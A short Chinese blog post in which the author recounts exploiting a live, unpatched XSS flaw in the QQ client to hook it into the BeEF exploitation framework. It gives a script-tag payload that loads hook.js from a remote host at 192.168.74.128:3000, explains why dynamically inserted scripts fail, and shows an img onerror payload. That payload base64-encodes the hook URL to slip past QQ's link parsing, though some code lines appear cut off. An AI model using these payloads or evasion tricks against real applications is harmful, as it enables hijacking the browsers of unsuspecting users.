今天qq出了个xss,也是无敌了,下午出的漏洞过0点了还没修,我就寻思上线beef看看有啥,结果常规的payload不能上线:
1 | <script src="http://192.168.74.128:3000/hook.js"></script> |
原因就是动态插入的script标签不会执行,是浏览器的一种安全策略,例如:
1 | <div id="qwe"></div> |
这里插入的alert就不会执行
但是如果是在on事件属性里执行js就不受这种限制,因为加载的是标签,js是触发事件后才执行的,例如:
1 | <div id="qwe"></div> |
这里的alert就会执行,这是因为img标签加载图片失败触发了onerror事件执行了js
所以我们也可以用这个思路构造
1 | <img src="data:," onerror=" |
为什么要base64编码一下而不是直接写http://192.168.74.128:3000/hook.js,是因为qq遇url会自动解析,就把html打乱了,不能正常识别:

用base64编码一下,不出现url就能正常识别了

最后成功上线执行js:

1:45左右的时候推了一个更新,把xss修了。虽然说这拖的也有点长吧,但是考虑到是周五了说不定是领导挨个打电话给开发测试运维叫回来的,这其实也不算慢了。